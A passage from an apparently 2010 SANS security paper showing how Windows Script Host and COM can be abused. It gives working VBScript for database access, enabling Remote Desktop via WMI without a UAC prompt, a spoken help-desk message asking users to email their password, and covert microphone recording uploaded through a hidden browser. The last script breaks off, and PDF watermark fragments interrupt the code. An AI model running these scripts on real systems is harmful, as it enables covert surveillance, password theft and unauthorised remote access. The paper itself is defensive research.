• OS version and patches applied
• Current username and domain
• Details on installed network adapters
• DNS settings and cache contents
• ARP cache contents
• Windows file shares
• Windows firewall configuration and rules
Accessing a Database
ActiveX Data Objects or “ADO” is a Microsoft API that allows access to multiple
data sources via a set of COM objects (Microsoft). It is easy to connect to databases,
execute SQL statements and retrieve results from WSH scripts with ADO. The example
below uses Microsoft SQL Server native authentication to connect to the Northwind
sample database via an ADODB Connection COM object. It uses another ADO COM
object, the Recordset, to execute a SQL SELECT statement that retrieves data from the
Employees table. Finally, the returned result set is written to the console.
Key
fingerprint
=
AF19
FA27
2F94
998D
FDB5
DE3D
F8B5
06E4
A169
4E46
' AccessSQLServer.vbs
' Demontsrates the ability to execute SQL statements and retrieve
' results from a SQL Server database via ADO, WSH and COM.
set objStdOut = WScript.StdOut
dim Connection, ResultSet, ConnectionString, SQLStatement
ConnectionString =
"Server=.;Database=Northwind;Uid=testUser;Pwd=testPassword;"
SQLStatement = "SELECT EmployeeID, FirstName, LastName FROM Employees"
set Connection = CreateObject("ADODB.Connection")
with Connection
.Provider = "SQLOLEDB"
.ConnectionString = ConnectionString
.Open
end with
set ResultSet = CreateObject("ADODB.Recordset")
ResultSet.Open SQLStatement, Connection
' Send result set to console
objStdOut.WriteLine(ResultSet.GetString(,," ",vbCrLf,"Null"))
ResultSet.Close
Connection.Close
Here is a sample invocation of the script and its output:
© 2010 The SANS Institute As part of the Information Security Reading Room Author retains full rights.
D:\wsh>cscript AccessSQLServer.vbs
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
1 Nancy Davolio
2 Andrew Fuller
3
4
Janet Leverling
Margaret Peacock
5 Steven Buchanan
6 Michael Suyama
7 Robert King
8 Laura Callahan
9 Anne Dodsworth
Modifying System Configuration
Windows 7 utilizes User Account Control to “lock” the operating system user
interface and prompt the user for approval when performing a privileged operation such
as changing security related configuration settings (Microsoft User Account Control
Team, 2007). If an attacker is attempting to modify configuration via the command line, a
security dialog will be launched that requires console user input in order for the changes
to take effect. However, when using the impersonation security setting for WMI
(Microsoft), it is possible to bypass the User Account Control dialog and make the
changes anyway, provided that the logged in user’s account has sufficient permissions.
Key
fingerprint
=
AF19
FA27
2F94
998D
FDB5
DE3D
F8B5
06E4
A169
4E46
This technique is illustrated in the following script which toggles remote access via
Windows Terminal Services. Note that administrator rights are required in order for the
script to modify the configuration; however, no UAC prompt will be displayed.
' ToggleTSConnections.vbs
' Displays the current setting for whether Remote Desktop
' connections are allowed and then toggles it.
set Service =
GetObject("winmgmts:{impersonationLevel=impersonate,(CreatePermanent,Tcb,LockM
emory,Security,MachineAccount,Debug,SystemEnvironment)}\\.\root\cimv2\Terminal
Services")
set objSet=Service.ExecQuery("select * from Win32_TerminalServiceSetting")
for each obj in objSet
wscript.echo "Current Remote Desktop setting is: " &
obj.AllowTSConnections
' toggle setting
obj.SetAllowTSConnections 1 - obj.AllowTSConnections
obj.refresh_
wscript.echo "New Remote Desktop setting is " & obj.AllowTSConnections
next
Here is a sample invocation of the script and its output:
D:\wsh>cscript ToggleTSConnections.vbs
© 2010 The SANS Institute As part of the Information Security Reading Room Author retains full rights.
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
Current Remote Desktop setting is: 0
New Remote Desktop setting is 1
Talking to a User with the Microsoft Speech API
The following script utilizes the Microsoft Speech API (Microsoft) to convert text
to speech. This is a social engineering attack in which we spoof a message from the IT
help desk asking the user at the console to email their network password to the attacker.
' Speak.vbs
' Creates an instance of the Microsoft Speech API
' COM object and sends it text to speak.
dim VoiceObject, Message
set VoiceObject = Wscript.CreateObject("SAPI.SpVoice")
Message = "Attention. This is a message from the corporate " +_
"I T help desk. For trouble shooting purposes, please email " +_
"your current network password to foo at bar dot com."
if VoiceObject is nothing then
WScript.Echo "ERROR: Could not create Speech API SAPI.SpVoice object."
else
WScript.Echo Message + vbCrLf
VoiceObject.Speak Message
while not VoiceObject.WaitUntilDone(0)
WScript.Sleep 100
Key
wend fingerprint
=
AF19
FA27
2F94
998D
FDB5
DE3D
F8B5
06E4
A169
4E46
end if
WScript.Echo "Script execution complete."
Here is a sample invocation of the script and its output:
D:\wsh>cscript Speak.vbs
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
Attention. This is a message from the corporate I T help desk. For trouble
shooting purposes, please email your current network password to foo at bar
dot com.
Script execution complete.
Capturing Audio and Sending it to a Web Page
This script utilizes the Windows 7 soundrecorder.exe utility (Muntenescu, 2010)
to record audio from the computer’s microphone, if present. The sound recorder program
runs with no visible window; the only visual cue that it is active is the microphone tray
icon. Once the recording is complete, the script launches a hidden instance of Internet
© 2010 The SANS Institute As part of the Information Security Reading Room Author retains full rights.
Explorer and posts the audio file to a web page (Foller). This demonstrates that with
nothing more than command line access and built in Windows software, a recording can
be made and surreptitiously forwarded to an attacker’s web site.
' CaptureSound.vbs
' Captures a sound recording from the computer's microphone and sends
'
'
it to the target URL using Internet Explorer. In order to demo the
IE POST capability, this script uploads the audio file to the Kaspersky
' virus scanning web site.
'
' Code for processing binary data and building the form POST is adapted with
' permission from code written by Antonin Foller at Motobit Software and
' published here: http://www.motobit.com/tips/detpg_uploadvbsie/
dim URL, BinaryFile, AudioFileName, BoundaryMarker, FormData, BrowserVisible
BrowserVisible = false 'Set to true to view the action...
URL = "http://www.kaspersky.com/scanforvirus"
InputFieldName = "file"
AudioFileName = "MicrophoneRecording.wma"
BoundaryMarker = "-----------------------------7da1bd2d10bc"
set WshShell = WScript.CreateObject("WScript.Shell")
' We use soundrecorder.exe which is bundled with Windows 7.
' Older versions of Windows have sndrec32.exe instead...
' Duration parameter is of the form HHHH:MM:SS
strCommand = "soundrecorder.exe /FILE " + AudioFileName + _
Key
" f/DURATION
ingerprint
0000:00:05"
=
AF19
FA27
2F94
998D
FDB5
DE3D
F8B5
06E4
A169
4E46
' Run command in a hidden window and wait for it to complete.
WScript.Echo "Recording in progress..."
WshShell.Run strCommand, 0, true
BinaryFile = GetBinaryFile(AudioFileName)
' Build an HTML form that contains the audio file.
WScript.Echo "Generating HTML form"
FormData = BuildHtmlForm(BinaryFile, AudioFileName, InputFieldName)
' Use a hidden instance of Internet Explorer to POST the
' captured audio file to the target URL.
WScript.Echo "Launching browser"
set Browser = WScript.CreateObject("InternetExplorer.Application")
Browser.Visible = BrowserVisible
' Do a GET on the URL first to initialize cookies, etc. before the POST.
Browser.Navigate URL
WScript.Echo "POSTing data to web site..."
Browser.Navigate URL, , , FormData, "Referer: " + URL + vbCrLf + _
"Content-Type: multipart/form-data; boundary=" + _
Right(BoundaryMarker, Len(BoundaryMarker) - 2) + vbCrLf
do until (Browser.READYSTATE = 4) ' READYSTATE_COMPLETE
WScript.Sleep 50
loop
if not BrowserVisible = true then
© 2010 The SANS Institute As part of the Information Security Reading Room Author retains full rights.
WScript.Echo "Terminating browser"
Browser.Quit
end if
function GetBinaryFile(PathName)
dim BinaryFileStream
set BinaryFileStream = CreateObject("ADODB.Stream")
with BinaryFileStream
.Type = 1 ' Binary
.Open
.LoadFromFile PathName
end with
GetBinaryFile = BinaryFileStream.Read
BinaryFileStream.Close
end function
function BuildHtmlForm(BinaryFile, FileName, InputFieldName)
dim HtmlForm, FormHeader, FormFooter, RecordSet
dim HeaderLength, FooterLength, FormLength
const DataTypeVarBinary = 205
FormHeader = "--" + BoundaryMarker + vbCrLf + _
"Content-Disposition: form-data;" + _
" name=""" + InputFieldName +""";" + _
" filename=""" + FileName +"""" + vbCrLf + _
"Content-Type: application/octet-stream" + vbCrLf + vbCrLf
' The web site expects all the form fields from the
' original page to be posted.
FormFooter = vbCrLf + BoundaryMarker + vbCrLf + _
"Content-Disposition: form-data; name=""dochk""" + _
Key
fingerprint
vbCrLf=
+AF19
vbCrLf FA27
2F94
998D
+ "Submit" + FvbCrLf
DB5
DE3D
F8B5
06E4
A169
+ BoundaryMarker 4E46
+ _
+ vbCrLf
"Content-Disposition: form-data; name=""hidearc""" + _
vbCrLf + vbCrLf + "1" + vbCrLf + BoundaryMarker + vbCrLf + _
"Content-Disposition: form-data; name=""showlink""" + _
vbCrLf + vbCrLf + "1" + vbCrLf + BoundaryMarker + vbCrLf + _
"Content-Disposition: form-data; name=""usedaemon""" + _
vbCrLf + vbCrLf + "1" + vbCrLf + BoundaryMarker + "--" + vbCrLf
Set RecordSet = CreateObject("ADODB.Recordset")
HeaderLength = Len(FormHeader)
FooterLength = Len(FormFooter)
FormLength = HeaderLength + LenB(BinaryFile) + FooterLength
RecordSet.Fields.Append "data", DataTypeVarBinary, FormLength
RecordSet.Open
RecordSet.AddNew
RecordSet("data").AppendChunk(ConvertToByteString(FormHeader) & ChrB(0))
FormHeader = RecordSet("data").GetChunk(HeaderLength)
RecordSet("data") = ""
RecordSet("data").AppendChunk(ConvertToByteString(FormFooter) & ChrB(0))
FormFooter = RecordSet("data").GetChunk(FooterLength)
RecordSet("data") = ""
RecordSet("data").AppendChunk(FormHeader)
RecordSet("data").AppendChunk(BinaryFile)
RecordSet("data").AppendChunk(FormFooter)
© 2010 The SANS Institute As part of the Information Security Reading Room Author retains full rights.